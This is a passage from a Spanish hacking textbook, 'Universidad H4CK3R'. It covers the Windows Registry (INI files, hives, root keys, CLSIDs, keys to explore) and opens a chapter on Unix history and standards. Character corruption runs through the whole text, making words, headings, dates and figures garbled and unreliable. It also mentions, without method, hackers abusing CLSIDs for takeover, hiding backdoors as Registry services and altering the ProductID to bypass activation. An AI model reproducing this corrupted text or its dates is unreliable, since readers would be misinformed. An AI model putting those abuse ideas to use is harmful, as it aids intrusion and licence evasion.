.ada sistema operativo tiene un mecanismo para mantener su configuracin. .on
OindoPs no podra ser diferente, pero, a diferencia de muchos otros sistemas operativos
!ue utili#an archivos de te5to sin formato, ;icrosoft creo una estructura compilada
0binaria1 y e5tremadamente oscura para guardar cosas. Hay pros y los contras en este
enfo!ue.
= *rc8i1os III
2l veterano OindoPs 9 tena una manera aparentemente fcil de mantener la
configuracin del sistema. " trav$s de simples archivos de te5to con e5tensin 3-3, poda
configurar todas las opciones para OindoPs y las aplicaciones, cargar drivers de
dispositivos y mdulos para el kernel del sistema operativo.
3nicialmente haba dos archivos, O3-.3-3 y S*S62;.3-3. 2l primero almacenaba la
64
ikimilikiliklik Universidad H4CK3R
configuracin relacionada con el usuario 0colores, iconos, posicin de las ventanas1 y el
segundo las partes referentes a la m!uina, el hardPare y el funcionamiento interno de
OindoPs F controladores de dispositivo , programas residentes, archivos internos y
caminos. 2l archivo S*S62;.3-3 tambi$n guardaba conuntos de programas y
aplicaciones !ue el usuario instala en su m!uina.
Pero la vida era difcil antes de OindoPs BI. /os archivos 3-3 podan tener un tama)o
m5imo de slo J? S+. " pesar de ser un archivo de te5to sin formato esa limitacin le
permita guardar una cantidad muy pe!ue)a de informacin. /a solucin fue poner en
S*S62;.3-3, apuntadores para locali#ar otros archivos 3-3, y as cada aplicacin poda
tener el suyo. /os programas podan mantener su configuracin en S*S62;.3-3, pero a
los desarrolladores se les anim a crear sus propias 3-3s. Por eemplo, en un S*S62;.3-3
haba una indicacin para ;icrosoft 25cel 0.L<MM3.2L2K.2/.3-31, !ue mantena su
configuracin de 25cel. Simple, 7no8. -o tanto.
"l principio,los usuarios, instalaban pocos programas. "dministrar algunos 3-3s era fcil
para OindoPs y para el usuario. Pero a medida !ue empe#aron a aparecer nuevos
programas ya no era posible llevar a cabo esta funcin con la gallarda de anta)o. 7.mo
determinar cul de los archivos 3-3 0de sistema o aplicaciones1 tenia prioridad8, y si
7alg%n parmetro est en conflicto8.
2l lmite de J? S+ tambi$n comen# a !uedarse pe!ue)o para la cantidad de detalles !ue
cada aplicacin tenia !ue almacenar, el mismo S*S62;.3-3 estaba repleto de vectores
!ue apuntaban a otros 3-3s. <tros factores !ue contribuyeron al aumento del tama)o del
3-3 eran desinstalar aplicaciones !ue no eliminaban sus lneas en el S*S62;.3-3, incluso
una simple actuali#acin 0por eemplo, de OordPerfect & a 91, terminaba con una doble
configuracin en el archivo. 2n el arran!ue, OindoPs estaba obligado a leer el contenido
de grandes O3-.3-3 y S*S62;.3-3 !ue, siendo menores de J? S+, contribuan a la cada
en el rendimiento del sistema.
= ARegistro de +uBC
(esde OindoPs -6, y especialmente en OindoPs BI, ;icrosoft introduo una nueva
forma de hacer frente a esta informacin !ue fue al mismo tiempo, centrali#ada y fle5ible.
"podado el CNegistro de OindoPsD 0o, en 3ngl$s, OindoPs Negistry1, el nuevo sistema de
almacenamiento alivia al sistema operativo de tener !ue lidiar con una infinidad de
archivos 3-3 dispersos en diferentes directorios.
Pero, 7!u$ es eso de registro8. Podemos definirlo como una base de datos en la !ue se
hayan representados todos los austes del sistema. .ada ve# !ue un usuario reali#a un
cambio en el panel de control, cambia cual!uier asociacin de archivos o instala un
programa, estos cambios se guardan en $l. 2l sistema, ademas, utili#a el registro para el
seguimiento del softPare instalado, sus archivos y, cmo cada programa se relaciona con
los dems.
2n t$rminos puramente lgicos, el registro es una sola entidad, aun!ue este contenido en
un conunto de archivos separados por una afinidad de configuracin. .ada uno tiene un
lmite de tama)o de ?' ;+ F ms !ue suficiente para cual!uier aplicacin.
2n la familia OinB5 tenemos el archivo S*S62;.("6, !ue se ocupa de la configuracin
65
ikimilikiliklik Universidad H4CK3R
del hardPare y softPare, y :S2N.("6 !ue se ocupa de los austes personales para cada
usuario. OindoPs ;illennium 2dition tambi$n tiene un tercer archivo llamado
./"SS2S.("6, !ue almacena cierta informacin sobre los programas y las asociaciones
de archivos. /os archivos S*S62;.("6 y ./"SS2S.("6, son %nicos, y siempre estn
en el directorio .dO3-(<OS. Siempre hay un :S2N.("6 en ese directorio, tambi$n. Sin
embargo, si su sistema est configurado para permitir perfiles, cada usuario tendr su
propio :S2N.("6 en el directorio .dO3-(<OSdPerfilesd`nombre de usuarioed,
obteniendo el archivo desde el directorio de OindoPs por defecto. .uando el usuario
inicia una sesin, su espacio de trabao personali#ado !ue se lee y se carga. Si el uso de
perfiles de usuario estn deshabilitados, todos los usuarios comparten las mismas
preferencias registradas en .dO3-(<OSd:ser(ata.
/a familia Oin-6 0incluyendo OindoPs &'''1 mantiene todos los archivos de registro en
] systemroot]dSystem9&d.onfig. " diferencia de OindoPs B5, seis archivos albergan los
archivos del registro de la familia -6= (2M":/6.("6, S";.("6, S2.:Nl6*.("6,
S<M6O"N2.("6, S*S62;.("6, -6:S2N.("6. /os archivos !ue contienen el registro
son llamados CHivesD.
" pesar de las diferencias fsicas, los registros de las dos familias son muy similares.
"mbos residen en archivos binarios, se basan en elementos simples, !ue consiste en un
par 4name b datos4, est organi#ado en cinco o ms secciones principales, llamadas
CNoot SeysD 0o HS2*1 y no se pueden editar directamente, es necesario el uso de
programas especiales para ello. Hay varias herramientas !ue pueden utili#arse para ver y
editar el Negistro. 2l ms simple es el 2ditor del Negistro 0N2T2(36.2K21, incluido en
OindoPs. Vamos a utili#ar Neg2dit para 4urgar4un poco en nuestro sistema.
= 6a estructura del Registro
Para organi#ar meor los datos en el registro, hemos adoptado una estructura err!uica.
Por eso, esta estructura se asemea a la organi#acin de directorios y subdirectorios F o,
usando la terminologa de ;icrosoft, Ccarpetas y subcarpetasD. 2l Neg2dit se aprovecha
de esto y muestra esta estructura muy similar a como el 25plorador de OindoPs muestra
el contenido del disco duro.
66
ikimilikiliklik Universidad H4CK3R
6enga en cuenta !ue los datos estn organi#ados en seis grupos principales, cuyos
nombres comien#an con las letras HS2* .ada uno de estos grupos se denomina clave
de seccin o de ra# y puede contener los valores llamados claves. Por eemplo, en la ra#
clave HS2*c:S2NS del eemplo anterior, hay una tecla llamada. C(2M":/6D y otra
llamada CSoftPareD. /as claves pueden tener, el par nombreLvalor , llamadas a datos o
otras teclas. .lave CSoftPareD tiene una subclave denominada C;icrosoftD, !ue a su ve#
posee otra subclave llamada COindoPsD, !ue a su ve# tiene un valor predeterminado. 2s
el par nombreLdatos !uien realmente almacena la informacin en el registro. Hay tres
tipos de valores= String 0un valor en te5to sin formato1, binario 0un valor binario F por lo
general los datos de hardPare y claves de cifrado para la activacin del softPare1 y
(O<N( 0por lo general un valor booleano F 1 para activado, ' para desactivarlo1. 2l uso
de cada uno depende del conte5to.
Hay cinco secciones en algunas versiones de OindoPs y seis en las dems. .ada
seccin tiene una especiali#acin y contiene la informacin referente a la misma.
.R-5S1';SS-SS7TT8 F 2sta seccin contiene todas las asociaciones de archivos en
OindoPs. 2s a trav$s de ella !ue OindoPs soporta arrastrar y soltar y </2 y le permite
configurar accesos directos en el sistema. "lgunos aspectos de la T:3 0interfa# grfica de
usuario1 tambi$n se definen en ella. Para eliminar una asociacin, simplemente borre la
clave con la e5tensin de archivo. 2sta CNoot SeyD es falsa= de hecho, es una subclave de
HS2*c/<."/c;".H3-2.
.R-5S1P77-"8SPS-76 F .ontiene la informacin de usuario !ue est utili#ando
actualmente el sistema. 2sta CNoot SeyD tambi$n es falsa= en realidad es un acceso
directo a una subclave en la seccin HS2*c:S2NS. .uando termina la sesin, todos los
austes de escritorio, el men% 3nicio de inicio de sesin y las contrase)as se guardan en la
clave HS2*c.:NN2-6c:S2N para un %nico usuario en HS2*c:S2NS.
.R-5S'T1;'S<;1.I"- F /a informacin utili#able por todos los usuarios
indiscriminadamente esta en esta seccin, incluyendo el hardPare y sus drivers, softPare
instalado, su configuracin y preferencias globales en general.
.R-5SPS-7S. F "!u estn las preferencias individuales de cada usuario, !ue es
representado por una subclave ./S3(. .uando un usuario se 4conecta4 en el sistema la
configuracin y sus preferencias se copian de a!u a HS2*c.:NN2-6c:S2N. .uando
el usuario da a 4descone5in4 F y aparece 4Tuardar configuracin4 o 4Saving your settings4
F el sistema copia el contenido de la clave HS2*c.:NN2-6c:S2N de vuelta a la clave
privada del usuario en HS2*c:S2NS. :na manera fcil de volver a la configuracin por
defecto de usuario del sistema es borrar la clave de la CNoot SeyD.
.R-5S1P77-"8S1T"FI: F "l igual !ue en HS2*c.:NN2-6c:S2N. "ntes de
salvarse en el registro, los cambios sobre la instalacin de hardPare y softPare se
almacenan en esta clave de root, !ue en realidad slo es un alias para una subclave de
HS2*c/<."/c;".H3-2.
67
ikimilikiliklik Universidad H4CK3R
.R-5S>5"S>;8; X <tra falsa clave Na#= apunta a otra subclave de
HS2*c/<."/c;".H3-2. (ispositivos Plug and Play utili#an esta seccin para guardar
su configuracin durante la instalacin. .omo su nombre indica, esta clave ra# es
dinmica y va a cambiar siempre !ue se instalen o se eliminen del sistema dispositivos de
hardPare. Sistemas de la familia Oin-6 0incluyendo OindoPs &''' y OindoPs KP1 no
tienen esta clave de ra#, aun!ue la clave dentro de HS2*c/<."/c;".H3-2 todava
e5iste.
6odas las claves y subclaves tienen un valor predeterminado y puede tener uno o ms
valores modificables. /o !ue llamamos el valor es en realidad un d%o formado por un
nombre !ue la identifica a un dato asociada a ella.
:n doble clic en cual!uiera de los valores permite editarlos. -o es necesario 4guardar4 los
cambios= Neg2dit se encarga de hacerlo automticamente cuando se cierra.
= AC6;IJC
"lgunas claves y valores tienen un cdigo completamente ilegible llamado ./S3(.
"crnimo de identificador de clase, el ./S3( es una secuencia de letras y n%meros, %nico
en el sistema, !ue identifica a cada uno de los componentes, .<;, e5istentes. :n
eemplo es f./S3( 1@&+((MAF.22"Fll(lFA+'IF''J''A'J(B+Jg. .omplicado, 7eh8.
1o(ponent T%ject <odels o .<;, son medios para controlar OindoPs a trav$s de scripts
simples. 2l sistema utili#a el modelo clienteLservidor= e5isten programas !ue ofrecen
servicios .<; para !ue las aplicacionesFcliente las puedan utili#ar. /as aplicaciones
cliente son los scripts creados por el usuario. /os servidores .<; posibilitan los m$todos
0rutinas para hacer algo1 y las variables a trav$s de clases. .ada una de las clases
e5istentes en OindoPs tiene un identificador %nico llamado .lass3dentifier o ./S3(.
:n servidor .<; muy conocido por los programadores es ;icrosoft Oord. 2s posible
utili#ar un obeto de Oord en otras aplicaciones a trav$s del ./S3( del obeto. <tros
servidores .<; ampliamente utili#ados son 3nternet 25plorer 0la base de OindoPs1 y
<utlook 25press.
2s posible controlar cada aspecto de OindoPs simplemente asociando la clave ./S3( en
el registro. "s como los desarrolladores lo hacen para hacernos la vida ms fcil, los
hackers utili#an ./S3( no documentados para crear medios con los cuales poder 4tomar4
el e!uipo en una invasin. " trav$s de ./S3( se pueden utili#ar los propios mecanismos
de OindoPs para establecer una comunicacin entre el atacante y el e!uipo infectado, sin
la necesidad de un caballo de 6roya demasiado elaborado.
Sobre esa base se pueden diseccionar las entra)as de esta misteriosa entidad. /os
autores creen !ue sera posible elaborar ./S3( con nombres ms fciles de leer, pero
;icrosoft no slo ha elaborado un modelo totalmente obscurantista, sino !ue ademas,
tampoco libera mas informacin al respecto. Sin embargo, alguna informacin sobre
./S3(, .<; y el Negistro se puede encontrar en 6ech-et 0PPP.microsoft.comLtechnet1.
2scapa el alcance de este libro e5aminar en profundidad todos los aspectos del registro y
sus ./S3(, a pesar de !ue es deber de todos los candidatos a hacker investigar estos
conceptos informticos.
68
ikimilikiliklik Universidad H4CK3R
= Un 7oco de grasa en los codos
(e todos el Negistro de OindoPs, la seccin ms interesante es realmente el
HS2*c/<."/c;".H3-2. :sando Neg2dit, vaya a esta clave de root y mire con
atencin sus claves. /as descripciones a continuacin son para la familia Oin-6 F fueron
tomados de un OindoPs KP Professional. 2l OinB5 familia tiene algunas diferencias,
aun!ue son muy similares en la mayora de los elementos.
/a clave del sistema contiene tres claves 1ontrolSet 0en OinB5 solo una1, ms las claves
'astRno$n:ood7ecover+ 0!ue apunta a los meores .ontrolSet en caso de fallo1, los
<ounted >evices 0!ue muestra todos los dispositivos de disco y de red en uso1, Select
0con la configuracin predeterminada1 y el Setup 0con informacin sobre la instalacin de
OindoPs1. /as claves 1ontrolSetLL@ + 1ontrolSetLLB slo e5isten en la familia Oin-6
,son copias de seguridad de configuraciones anteriores. :na de ellas se utili#a si, durante
el arran!ue, se ha reali#ado CVolver a la %ltima configuracin buena conocida4 o 4:sar la
%ltima configuracin de trabao4. /a clave 1urrent1ontrolSet e5iste en todas las familias
OindoPs y es !uien realmente guarda la configuracin actual de su e!uipo. Se divide en
cuatro secciones=
F -l 1ontrol contiene la configuracin del Panel de control. (e hecho, el panel de control
no es ms !ue un frontFend para esta clave.
F 'a clave -nu( contiene informacin acerca de todas las interfaces de 2LS de la
computadora como :S+, 3(2 y P.3. -ormalmente uno no debe 4ugar4 con esta clave,
pero los hackers e5perimentados pueden utili#arla como apoyo para controlar el e!uipo
invadido, for#ar una vulnerabilidad o instalar una bomba de relo.
F 'os perfiles de 3ard$are sirven para guardar la configuracin de hardPare de la
m!uina. OindoPs permite varias configuraciones de hardPare diferentes !ue se pueden
utili#ar en el mismo sitio, y estas se guardan a!u. Para eliminar una configuracin de
hardPare, simplemente elimine la subclave correspondiente. 2l perfil de hardPare !ue se
utili#a es el !ue figura en C.urrentD. /os hackers pueden cambiar o eliminar las subclaves
y dear la m!uina sin configurar.
F 2or Alti(o* los Servicios contiene datos sobre todos los servicios !ue se eecutan. 2s en
esta seccin en la !ue se cargan los drivers de dispositivos, las bibliotecas de enlace
dinmico 0(//1 y los mdulos del kernel de virtuali#acin 0V5(1. /os V5( son en realidad
referencias a los grupos de archivos con estensin S*S. 2n la clave Servicios 0Services1
tambi$n se almacenan los parmetros clave !ue deben ser pasados a los V5( y a los
archivos (// cuando se les llama. 2n la prctica, todos los servicios !ue OindoPs conoce
0se eecuten o no1 se almacenan en subclaves dentro de los Servicios, incluidos los
servicios de comunicaciones y redes. 2sto significa !ue la supresin de una clave de
estas, significa ocultar la e5istencia de ese servicio a OindoPs, a pesar de !ue el
programa a%n este fsicamente instalado en el disco duro. 2l administrador del sistema
puede eliminar desde a!u una configuracin de red !ue este dando problemas. * el
hacker, por su parte, puede utili#ar sus puertas traseras 0+ackdoors1 como servicios en
esta clave.
69
ikimilikiliklik Universidad H4CK3R
6ambi$n en HS2*c/<."/c;".H3-2, la clave H"N(O"N2 contiene los accesos
directos a otras partes del registro !ue tienen informacin sobre el hardPare instalado. Se
trata de las claves ;12I 0datos proporcionados por el fabricante1, >-S17I28IT" 0de
datos del procesador y la memoria1, >-Ul1-<;2S 0auste de 2LS1 y 7-STP71-<;2S
0configuracin de recursos de OindoPs1.
(e todas las claves HS2*c/<."/c;".H3-2, !ui#s la ms importante para nuestro
estudio es la seccin STF8,;7-. <bservese la organi#acin por proveedores. /a clave
para cada proveedor F por eemplo, "dobe, Star(ivision, ;icrosoft F encierra la
informacin global para todas las aplicaciones del mismo fabricante, incluyendo el
seguimiento de las versiones, desinstalacin y actuali#acin de las instrucciones, las
carpetas de instalacin, trabao y origen. "lgunas variables del sistema tambi$n se
mantienen all, por eemplo, la clave C.lassesD, !ue contiene las asociaciones de archivos.
/a clave ra# HS2*c./"SS2ScN<<6 en realidad es slo un acceso directo a
HS2*c/<."/c;".H3-2dS<M6O"N2d.lasses.
= 5l tesoro
.ada fabricante tiene su propia subclave, y ;icrosoft, tambi$n es un desarrollador de
softPare, y tiene una subclave en HS2*c/<."/c;".H3-2dS<M6O"N2. /a diferencia
es !ue, como es el desarrollador del sistema, ha puesto all cual!uier cosa !ue pueda ser
necesaria para la configuracin e integracin con otros productos de ;icrosoft. "s !ue
a!u, no slo hay informacin sobre los programas instalados de ;icrosoft, como Oord o
25cel. ;ucha informacin !ue puede ser utili#ada por los servicios de C+ack<fficeD, as
como la mayora de los servicios de ;icrosoft, tienen la clave a!u. 3nformacin sobre
archivos (//, controles de plugFins "ctiveK , o ;icrosoft 3nstaller 0;S31 y la ubicacin de
los medios de instalacin, entre otras cosas, tambi$n tienen las entradas en la clave de
;icrosoft.
" modo de eercicio antes de seguir, vamos a poner el libro a un lado y vamos a investigar
a fondo todas las subclaves por debao de la clave de ;icrosoft. 2ntre una a una, y
compruebe sus nombres y sus subclaves, compruebe el contenido de los valores
0nombreLdato1. 6enga en cuenta !ue hay teclas !ue tienen varios valores en un nivel y
a%n ms en las subclaves de nivel inferior. -o cambies nadaG Slo mira y dea la clave de
OindoPs para el final. 7/isto8 ;uy bienG
2chemos un vista#o ms de cerca a la clave deOindoPs. 2n ella hay tres claves= 1urrent
Uersion* I8Storage + S3ell. 2l C36StorageD y CShellD no son de gran utilidad en sistemas
aislados, pero C.urrent VersionD tiene informacin muy interesante. <bserve los valores
de la propia clave. 2ntre ellos se encuentran el 2roductI> 0!ue, en OindoPs KP, es
importante para la activacin F y es uno de los valores modificados por los atacantes para
burlar3a1 y las rutas a los principales componentes de OindoPs como la ubicacin de los
archivos de programa.
"dems de estos valores, la clave C.urrentVersionD tiene cientos de subclaves. "lgunas
son fciles de entender, como la clave -)plorerV8ips, !ue contienen las 4sugerencias del
da4. 2s posible cambiarla para colocar otras, o en la misma incluir mas valores con otras
sugerencias. <tras subclaves son ms herm$ticas. /a subclave Installer, por eemplo,
70
ikimilikiliklik Universidad H4CK3R
contiene datos sobre el ;icrosoft 3nstaller 0;S31, pero usa dos valores .S/3(
indescifrables . -avegue un poco por estas dos claves indescifrables y cuando tenga una
visin general del funcionamiento de ambas, vuelva a la lectura del libro.
.on estos fundamentos entendidos, el Negistro de OindoPs ya no tiene !ue ser un
misterio tan oscuro para el lector. .omo 4trabao de casa4, se sugiere el estudio 0con el
Neg2dit1 de las siguientes claves=
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ EventSystem
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ M!time"i#
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ S$#re" Too!s
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Ot!oo% E&'ress
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ ('"#tes
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Win"o)s \ Crrent*ersion \
+ A'' '#t$s
+ Contro! '#ne!
+ Contro!s Fo!"ers
+ E&'!orer
+ Inst#!!er
+ ,o!icies
+ Rn -to"os !os 'ro.r#m#s c#r.#"os en !#s /ot#s0
+ RnOnce -'ro.r#m#s c#r.#"o n# so!# ve10
+ RnOnceE& -'ro.r#m#s c#r.#"os s2!o n# ve1 y "es'3s e&c!i"os0
+ Set'
+ S$#re"4LLs -M(Y im'ort#nte50
+ (ninst#!!
HKEY_LOCAL_MACHINE \ SYSTEM \ CrrentContro!Set
HKEY_LOCAL_MACHINE \ SYSTEM \ Monte"4evices
HKEY_LOCAL_MACHINE \ SYSTEM \ Set'
Necordando siempre !ue tomamos como punto de partida el registro de OindoPs KP. Si
el lector tiene otra versin de OindoPs, ser interesante buscar las mismas claves, en el
Negistro, para conocer las diferencias y similitudes
AJ/nde, amigoC
2n un libro como $ste no hay espacio para profundi#ar ms. "fortunadamente, 3nternet
ofrece algunos recursos para los !ue !uieren o necesitan saber ms sobre la estructura
de los sistemas operativos de ;icrosoft.
:n buen punto de partida es el 6ech-et 0PPP.microsoft.comLtechnet1. Sitio Oeb de
;icrosoft dirigida a t$cnicos y programadores. 2n la pgina principal estn los enlaces a
las %ltimas tecnologas de la compa)a, como OindoPs KP, Vista y la plataforma -26. Sin
embargo, puede utili#ar el motor de b%s!ueda de la propia Peb para encontrar cual!uier
informacin sobre cual!uier producto. .on un poco de investigacin se puede aprender,
por eemplo, los detalles de la estructura interna del n%cleo de OindoPs BA o diferencias
entre los registros de OindoPs BI y OindoPs -6. 6ambi$n se pueden encontrar las
especificaciones de cosas muy antiguas, como ;SF(<S y /"- ;anager.
<tros sitios !ue pueden tener informacin sobre las plataformas de ;icrosoft son el sitio
principal de la compa)a 0www.microsoft.com1. la OinTuides 0www.winguides.com1 y
6echNepublic 0www.techrepublic.com1. -o dee de visitarlos. Hay mucha informacin
recopilada en esos sitios.
71
ikimilikiliklik Universidad H4CK3R
Plataformas
56I7
.apitulo F ?
"8al veN su% a las (D)i(as alturas* (Ds*
3o+ vuelvo* con el al(a a oscuras.
-s necesario que todava* su%a (Ds! 4
"ugusto dos "nos, 4Solilo!uio de un
visionario4, /ibro 3 y otros poemas F 1B1&
72
ikimilikiliklik Universidad H4CK3R
-o somos nosotros los !ue lo decimos, pero si -etcraft 0PPP.netcraft.com1= 2l JJ] de los
servidores Oeb de 3nternet eecutan alg%n tipo de :ni5. 2sta inmensa mayora de sitios
!ue honran al veterano salido de los laboratorios de "6 [ 6 en los a)os J', no lo hacen a
la ligera. ;ientras !ue en las m!uinas de escritorio 0las !ue estn en la parte superior de
su mesa en el trabao o en casa1 se considera a ;icrosoft OindoPs el estndar de facto,
en servidores de 3nternet no hay mucha discusin sobre el sistema operativo utili#ado.
:ni5 es un sistema con ms de 9' a)os en la carretera. Nobusto, ligero y porttil, se ha
reducido desde su lan#amiento en 1BJB, y a pesar de ser ya bastante antiguo, est
siempre al da con las innovaciones tecnolgicas. Por ser el sistema mas utili#ado, es
tambi$n el mas atacado. 2l hecho de funcionar como el motor de las dos terceras partes
de los sitios Peb en el mundo, y a%n as, ser mucho menos invadido !ue cual!uiera sus
adversarios, demuestra la fiabilidad de este sistema. 2l inconveniente es !ue, por ser tan
fiable y potente, es tambi$n el sistema operativo ms usado para dirigir ata!ues, sea cual
sea el obetivo.
;istemas o7erati1os Uni
2s interesante el poder de los medios de comunicacin. .uando se trata de /a +ella y la
+estia, nadie se acuerda de la pelcula de .octeau, considerada una de las obras
maestras del cine franc$s. ;ucho menos de Zeanne ;arie /eprince de +eaumont, una
investigadora !ue en el siglo 1A encontr muchos cuentos sobre el tema medieval y los
recopilo, teiendo la historia !ue conocemos hoy en da. 2n cambio, la gente slo recuerda
la caricatura publicada recientemente por un estudio importante de 22.::.
.uando se trata de sistemas operativos se tiene el mismo problema. 2n la memoria de
todos, slo prevalecen los sistemas ms modernos, aun!ue est$n menos optimi#ados y
menos preparados para servicios de red y de misin crtica. Sin embargo, en todo el
mundo, millones de administradores de red utili#an una variante de :ni5 para resolver
problemas !ue con otras plataformas ni se les ocurrira encarar.
2l sistema :ni5 puede ser considerado tanto una bestia, como una bella. 3nternet no
e5istira sin los sistemas :ni5 F de hecho, 3nternet fue creado para conectar S</<
sistemas :ni5. 3ncluso hoy en da, como dan fe los datos de -etcraft, la mayora de
servidores Peb en el mundo emplea alguna variante de :ni5, y hay esfuer#os para !ue
:ni5 o sistemas similares se utilicen en estaciones de trabao de oficina o incluso en
dispositivos mviles como tel$fonos celulares y palmtops.
Hay belle#a en los sistemas :ni5. Su estructura rgida y bien montada parece, a los oos
de sus usuarios, como un poema maravilloso. 2l Cpoder del fuegoD !ue este sistema da a
!uien lo domina llega a ser t5ico. Por su origen en los laboratorios de investigacin y en
su entorno de desarrollo, :ni5 tiene varias herramientas para administradores de sistemas
redes, y programadores. 6ambi$n por ese origen, hay una comunidad enorme y fraternal
de usuarios !ue intercambian e5periencias y se ayudan mutuamente. /as grandes
empresas !ue fabrican o proporcionar soluciones basadas en :ni5 formaron un consorcio
y definen una serie de estndares !ue aseguren la interoperabilidad y la conectividad.
:ni5 se considera, e5actamente por eso, un sistema abierto.
S, :ni5 es hermoso. Pero, hermoso como un gran felino. (omarlo re!uiere una
73
ikimilikiliklik Universidad H4CK3R
formacin, persistencia y un poco de corae. Sin embargo, el conocimiento necesario para
dominar nuestra bestia no es el de 4un genio4. /a gente se siente atemori#ada por la
cantidad de herramientas disponibles o por la lnea de comandos. /as interfaces grficas,
a pesar de no ser 4toscas4, como en $pocas anteriores, son diferentes de lo !ue la
mayora de los usuarios estn acostumbrados. Por %ltimo, hay varias 4distros4 de :ni5
para elegir. .ada una tiene sus atractivos, pero tambi$n tiene sus dificultades.
= ;/lo un ?uego de ordenador
2n 1BJ9, el ;36, los /aboratorios +ell 0empresa de telecomunicaciones de 22.::., una
unidad del gigante telefnico "6 [ 61 y Teneral 2lectric .ompany se unieron para crear
un sistema operativo revolucionario. <bviamente basado en las computadoras de T2, el
proyecto tuvo los siguientes obetivos=
F Ser multiusuario_
F Ser multitarea_
F <frecer gran capacidad de almacenamiento de datos y programas_
F Permitir el intercambio de datos entre usuarios y grupos.
2l sistema fue llamado ;:/63.S, una referencia a sus capacidades multiusuario y
multitarea. (espu$s de cuatro a)os de desarrollo en un T2FJ?I, el ;:/63.S de 1BJB
estaba muy aleado de los obetivos propuestos. 2se mismo a)o, +ell /abs decidi
abandonar el proyecto.
Mrustrados por la interrupcin de sus esfuer#os y dispuestos a tener un sistema !ue
realmente reuniera los propsitos originales de ;:/63.S algunos desarrolladores de +ell
/abs decidieron iniciar en secreto el desarrollo de otro sistema operativo. :no de los
desarrolladores fue Sen 6hompson, !uien no !uera usar ms el T2FJ?I con ;:/63.S
!ue haba usado en los /aboratorios +ell para ugar con su uego favorito. /os CSpace
6ravelsD funcionaban muy mal en ;:/63.S, el costo de cada partida era alrededor de
@I^ para "6 [ 6.
6hompson decidi portar el uego a otro e!uipo !ue estaba sin usarse en el laboratorio, un
P(PF@, tambi$n de T2. Sin embargo, el sistema operativo en el P(PF@ no era muy
fle5ible, por lo !ue 6hompson empe# a escribir rutinas de apoyo para el ueguecito. "l
cabo de un a)o, sin embargo, en el mismo 1BJB, las 4trampas4 de 6hompson se
convirtieron en la primera versin del sistema operativo :ni5, escrito completamente en
ensamblador P(PF@. Para convencer a sus superiores en los /aboratorios +ell de la
seriedad del proyecto, lo present como un futuro sistema de procesamiento de te5tos,
!ue ms tarde se convirti en un sistema operativo de propsito general. /a palabra :ni5
era un uego de palabras con el nombre de ;:/63.S. 0-o crea !ue el ;:/63.S muri en 1BJB, su
desarrollo continuo, y T2 0posteriormente ad!uirida por HoneyPell, y ms recientemente por +ull1 lo utili# como uno de
sus sistemas centrales por muchos a)os. 2l %ltimo sistema ;:/63.S todava en funcionamiento fue oficialmente
desactivado el 91 de octubre de &'''. Para obtener ms informacin sobre ;:/63.S, visite el sitio Peb de los fans=
www.multicians.org. :n ensayo sobre la forma en !ue :ni5 se inspir en ;:/63.S se puede ver en
www.muIticians.org/unix.htmI.1 0-o hay espacio a!u para mencionar la interesante historia de :ni5. :no de los
meores documentos sobre los primeros das, escrito por (ennis Nitchie, se puede encontrar en 4cm.bellF
labs.comLcmLcsLPhoLdmrLhist.htm3D. "dems de lugares de inter$s histrico, describe los acontecimientos !ue
condueron a la mirada de :ni5, como lo es hoy.1
74
ikimilikiliklik Universidad H4CK3R
Slo en 1B@1, :ni5 es considerado un sistema operativo terminado. Hasta ese a)o, se
desarrollaron muchas tecnologas para !ue el 4beb$Funi54 viniera al mundo. :na de ellas
era el lenguae ., desarrollado por (ennis Nitchie del lenguae + de 6hompson. :ni5 ha
sido completamente reescrito en . y por lo tanto puede ser portado a cual!uier m!uina=
basta con volver a compilarlo. 2l concepto de la portabilidad es el principal activo de :ni5
hasta hoy y abri nuevos hori#ontes para la computacin. 2n 1B@@, el sistema operativo
:ni5 fue lan#ado comercialmente y, desde entonces, ha sido usado en sistemas tan
diversos como dispositivos de mano y supercomputadoras .ray.
2n este libro, usamos la palabra :ni5 indiscriminadamente, nos referimos a cual!uier
variacin, o 4sabor4, de sistemas basados en el Single :ni5 Specification, !ue incluye los
estndares P<S3K, "-S3 . y KPT?. <tros autores utili#an nomenclaturas como,Chni5D
Cuhi5D y C:ni5FlikeD. :-3K es una marca registrada de 6he <pen Troup 0PPP.uni5F
systems.org1. 4:ni5Flike4 indica !ue los sistemas se parecen a un sistema :ni5, pero
oficialmente no lo son 0como T-:L/inu5 y Mree+S(1.
= P0;IG
/os tres documentos !ue forman el superconunto CSingle :ni5 SpecificationD se aplican a
diferentes partes del sistema. "-S3 . es el estndar para el lenguae de programacin, se
recomienda para el desarrollo de los sistemas :ni5 y se puede encontrar en
0PPP.ansi.org1. KPT? es ya el estndar para la implementacin del servidor K, el
programa central para las aplicaciones grficas en :ni5. /a informacin sobre el pliego de
condiciones, el servidor K y el .onsorcio K se puede obtener de 0PPP.5.org1.
Pero hay una ms importante !ue las otras dos. 6odos los :ni5 !ue se precien debe
necesariamente cumplir con P<S3K, un estndar mantenido por diversas entidades= 3222
y <pen Troup en los 22.::., y la 3S<L.23 en 2uropa. 2n $l se definen las llamadas al
sistema, es decir, los mensaes y las se)ales de !ue los procesos intercambian entre
ellos. Se puede comparar con los mensaes de OindoPs !ue vimos en el captulo anterior,
pero las llamadas al sistema :ni5 son mucho ms numerosas, especiali#adas y
modulares.
= Jecenas de sa&ores 7ara elegir
6al ve# el lector saba ha lo !ue nos estbamos refiriendo a cuando diimos !ue :ni5 es
un sistema operativo de cdigo abierto. ;as aun, cuando hemos dicho !ue haba varios
4sabores4 disponibles. Pero :ni5 es un sistema operativo y no un helado. 7Eue !uiere
decir CsaborD8
"l ser un estndar abierto, el CSingle :ni5 SpecificationD permite !ue muchos fabricantes
tengan su propia implementacin. " pesar de ser muy diferentes en algunos casos,
todava se consideran %nicos por!ue se adhieren al estndar :ni5. (e hecho, podemos
mencionar algunos desarrolladores de softPare !ue tienen versiones del sistema=
Sun ;icrosystems, con su Solaris_
3+; con "3K_
ST3 e 3N3K _
+S(i con la implementacin +S( y la versin gratuita Mree+S(_
75
ikimilikiliklik Universidad H4CK3R
HePlettFPackard y su HPF:K_
/a propia ;icrosoft y el Keni5_
* la familia T-:L/inu5.
.itamos slo los ms populares. 25isten muchas otras implementaciones de :ni5,
comerciales o no. /o !ue llamamos 4familia T-:L/inu54 es una coleccin de cientos de
